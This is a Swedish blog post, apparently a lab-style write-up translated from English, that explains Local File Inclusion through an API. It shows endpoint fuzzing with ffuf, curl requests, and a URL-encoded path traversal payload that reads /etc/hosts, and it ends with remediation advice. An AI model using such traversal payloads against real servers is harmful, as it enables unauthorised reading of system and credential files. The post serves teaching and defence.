Skip to main content
  1. Blogposts/

🔍 local file inclusion (lfi) via api – en farlig dörr till serverns hemligheter

·446 words·3 mins· loading · · ·
Rasmus
Author
Rasmus
Att dela en ide eller tvÄ kan vara bra för hjÀrnan
Table of Contents

“TĂ€nk dig att du har en lĂ„da med alla dina viktigaste dokument – men nĂ„gon har glömt att lĂ„sa den ordentligt. Det Ă€r ungefĂ€r sĂ„ en Local File Inclusion-sĂ„rbarhet fungerar.”

Local File Inclusion (LFI) Ă€r en av de mer underskattade men potentiellt förödande sĂ€kerhetsbristerna i webbapplikationer. Den gör det möjligt för en angripare att lĂ€sa interna filer pĂ„ servern – allt frĂ„n konfigurationsfiler till lösenordshashar. Kombinerat med andra attacker som logginjektion kan det till och med leda till fullstĂ€ndig systemövertagning.

I den hÀr artikeln ska vi utforska hur man upptÀcker och utnyttjar en LFI-sÄrbarhet via ett API, steg för steg.


đŸ§Ș UpptĂ€ck API-endpoint och testa LFI
#

1. MÄlet: En MisstÀnkt WebbtjÀnst
#

Vi har en webbtjĂ€nst som körs pĂ„ http://<MÅL-IP>:3000/api. Första steget Ă€r att kolla om API:t svarar:

curl http://<MÅL-IP>:3000/api

Svar:

{"status":"UP"}

Bra, API:t lever – men det sĂ€ger inte mycket mer. Nu behöver vi hitta intressanta endpoints.

2. Fuzzing: Leta efter Dolda Dörrar
#

Med verktyget ffuf och en lista över vanliga API-endpoints (common-api-endpoints-mazen160.txt) kan vi skanna efter möjliga ingÄngar:

ffuf -w common-api-endpoints-mazen160.txt -u 'http://<MÅL-IP>:3000/api/FUZZ'

Resultat:

  • /api/download (Status: 200) – Det hĂ€r ser lovande ut!

3. Testa Endpointen
#

Vi provar att anropa /download direkt:

curl http://<MÅL-IP>:3000/api/download

Svar:

{"success":false,"error":"Ange filnamn via /download/<filnamn>"}

Aha! Den förvĂ€ntar sig en fil som indata. Nu börjar det bli intressant…


🧹 Utför LFI med Path Traversal
#

Path Traversal – “GĂ„ UppĂ„t” i Filsystemet
#

Om vi kan ange en fil, kan vi kanske anvÀnda ../ (path traversal) för att komma Ät andra filer utanför den avsedda mappen.

Vi testar med /etc/hosts, en vanlig systemfil:

curl "http://<MÅL-IP>:3000/api/download/..%2f..%2f..%2f..%2fetc%2fhosts"

(Obs: %2f Àr URL-kodat för / för att undvika tolkningsproblem.)

Resultat:

127.0.0.1 localhost
127.0.1.1 nix01-websvc
...

✅ Bingo! Vi har bekrĂ€ftat att LFI Ă€r möjligt och kan lĂ€sa kĂ€nsliga filer pĂ„ servern.


💡 Slutsats – SĂ€kerheten Börjar Med Input-validering
#

Den hÀr demonstrationen visar hur farligt det kan vara nÀr ett API inte sanerar anvÀndarinput ordentligt:

  • En obskyr endpoint (/download) blev vĂ„r ingĂ„ngspunkt.
  • Path traversal gav oss obehörig Ă„tkomst till systemfiler.
  • Ytterligare attacker (som RCE) hade kunnat följa om filinnehĂ„llet var körbart.

Rekommenderade ÅtgĂ€rder:
#

✔ Validera alla indata – TillĂ„t inte ../ eller andra farliga tecken. ✔ BegrĂ€nsa filĂ„tkomst – AnvĂ€nd basmappbegrĂ€nsningar (chroot). ✔ Logga misstĂ€nkta förfrĂ„gningar – UpptĂ€ck tidigt om nĂ„gon försöker sig pĂ„ path traversal.

“En sĂ€ker applikation Ă€r som ett vĂ€lbyggt hus – inga dolda dörrar, inga löst sittande brickor.” 🔒✹

Vad tror du? Har du stött pĂ„ liknande sĂ„rbarheter i din egen kodbas? Dela dina tankar i kommentarerna! 🚀

(ÖversĂ€ttning: BehĂ„ller originalets stil och ton, men anpassar vissa termer till mer naturlig svenska, t.ex. “TARGET IP” → “MÅL-IP”, “filename” → “filnamn”. URL-kodning förklarades pĂ„ svenska för tydlighet.)